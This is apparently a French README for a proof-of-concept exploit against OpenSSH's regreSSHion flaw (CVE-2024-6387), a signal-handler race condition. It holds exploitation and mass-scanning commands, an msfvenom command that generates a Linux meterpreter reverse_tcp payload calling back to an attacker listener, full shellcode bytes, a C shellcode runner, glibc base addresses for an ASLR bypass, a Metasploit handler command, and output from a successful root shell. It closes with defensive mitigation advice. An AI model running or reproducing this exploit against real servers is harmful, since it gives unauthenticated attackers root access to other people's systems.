Preuve de concept d'exploitation pour CVE-2024-6387 (regreSSHion) ciblant l'exécution de code à distance non authentifiée dans le serveur OpenSSH via une condition de course dans le gestionnaire de signaux. Inclut la numérisation, l'exploitation et la génération de shell inversé.
CVE-2024-6387 - PoCNote : ce script est un prototype rapide de PoC ; des erreurs et des bogues peuvent survenir. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04
Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH
Une condition de concurrence (race condition) dans un gestionnaire de signal a été découverte dans le serveur OpenSSH (sshd) : lorsqu'un client ne s'authentifie pas dans le délai LoginGraceTime (120 secondes par défaut, 600 dans les anciennes versions d'OpenSSH), le gestionnaire SIGALRM de sshd est appelé de manière asynchrone. Or, ce gestionnaire de signal appelle diverses fonctions qui ne sont pas sûres en contexte de signal asynchrone (async-signal-safe), par exemple syslog().
Vous pouvez trouver les détails techniques ici.
La faille, découverte par des chercheurs de Qualys en mai 2024, à laquelle a été attribué l'identifiant CVE-2024-6387, est due à une condition de concurrence dans le gestionnaire de signal de sshd qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire en tant que root.
« Si un client ne s'authentifie pas dans le délai LoginGraceTime (120 secondes par défaut), alors le gestionnaire SIGALRM de sshd est appelé de manière asynchrone et appelle diverses fonctions qui ne sont pas sûres en contexte de signal asynchrone (async-signal-safe), »
« Un attaquant distant non authentifié peut tirer parti de cette faille pour exécuter du code arbitraire avec les privilèges root. »
Prérequis : python3 en dernière version
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestion des correctifs : L'application rapide des correctifs disponibles pour OpenSSH est essentielle pour combler la faille. Un correctif appliqué en temps utile garantit que les exploits connus ne peuvent pas être utilisés contre vos systèmes, réduisant ainsi la fenêtre d'opportunité pour les attaquants.
Contrôle d'accès renforcé : Limiter l'accès SSH via des contrôles réseau ajoute une couche de défense supplémentaire. Cette approche minimise l'exposition aux attaquants potentiels en restreignant les connexions SSH aux seuls réseaux ou adresses IP autorisés. La mise en œuvre d'outils comme des règles de pare-feu ou l'utilisation de VPN pour un accès sécurisé peut appliquer efficacement ces restrictions.
Segmentation du réseau : Diviser votre réseau en segments permet de contenir l'impact d'une éventuelle brèche. En séparant les systèmes critiques et les données sensibles des parties moins critiques de votre réseau, vous réduisez le risque de mouvement latéral des attaquants. Cette segmentation peut être complétée par des contrôles d'accès stricts et une surveillance afin de détecter et de répondre à toute tentative non autorisée de franchir ces segments.
Systèmes de détection d'intrusion (IDS) : Le déploiement d'IDS ou de systèmes de prévention d'intrusion (IPS) permet une surveillance en temps réel du trafic réseau et des journaux système. Ces systèmes peuvent détecter les activités suspectes et les tentatives d'exploitation potentielles associées à la vulnérabilité regreSSHion. Les alertes déclenchées par ces systèmes permettent une enquête et une atténuation rapides avant que des dommages importants ne surviennent.
Surveillance des tentatives d'exploitation : Une surveillance continue des journaux réseau et système est cruciale. Recherchez tout motif ou activité inhabituel pouvant indiquer une tentative d'exploitation de la vulnérabilité OpenSSH. Cette approche proactive aide à identifier les menaces et à y répondre avant qu'elles ne puissent causer des dommages.